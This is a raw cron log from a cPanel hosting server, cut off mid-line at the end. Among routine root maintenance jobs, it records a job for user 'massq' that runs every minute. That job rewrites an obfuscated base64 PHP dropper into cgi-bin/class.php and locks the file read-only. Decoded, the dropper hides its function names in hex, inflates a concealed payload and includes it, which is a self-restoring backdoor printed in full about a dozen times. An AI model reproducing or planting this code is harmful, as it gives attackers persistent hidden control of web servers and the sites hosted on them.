Sep  1 17:24:01 server CROND[15830]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:24:01 server CROND[15831]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 17:25:01 server CROND[16316]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 17:25:01 server CROND[16318]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 17:25:01 server CROND[16319]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:25:01 server CROND[16320]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 17:25:01 server CROND[16321]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:25:01 server CROND[16322]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 17:25:01 server CROND[16323]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 17:26:01 server CROND[17149]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 17:26:01 server CROND[17150]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:26:01 server CROND[17151]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:27:01 server CROND[17523]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:27:01 server CROND[17524]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 17:27:01 server CROND[17525]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 17:27:01 server CROND[17526]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:28:01 server CROND[17891]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 17:28:01 server CROND[17892]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:28:01 server CROND[17893]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:29:01 server CROND[18269]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:29:01 server CROND[18270]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 17:29:01 server CROND[18271]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:30:01 server CROND[18751]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 17:30:01 server CROND[18753]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 17:30:01 server CROND[18754]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:30:01 server CROND[18755]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:30:01 server CROND[18761]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 17:30:01 server CROND[18756]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 17:30:01 server CROND[18766]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 17:30:01 server CROND[18762]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 17:31:01 server CROND[19590]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:31:01 server CROND[19591]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 17:31:01 server CROND[19592]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:32:01 server CROND[19958]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:32:01 server CROND[19959]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 17:32:01 server CROND[19960]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:33:01 server CROND[20327]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:33:01 server CROND[20329]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 17:33:01 server CROND[20328]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:34:01 server CROND[20692]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 17:34:01 server CROND[20693]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:34:01 server CROND[20694]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:35:01 server CROND[21174]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 17:35:01 server CROND[21175]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 17:35:01 server CROND[21179]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 17:35:01 server CROND[21199]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  1 17:35:01 server CROND[21200]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:35:01 server CROND[21201]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 17:35:01 server CROND[21198]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 17:35:01 server CROND[21203]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 17:35:01 server CROND[21207]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | 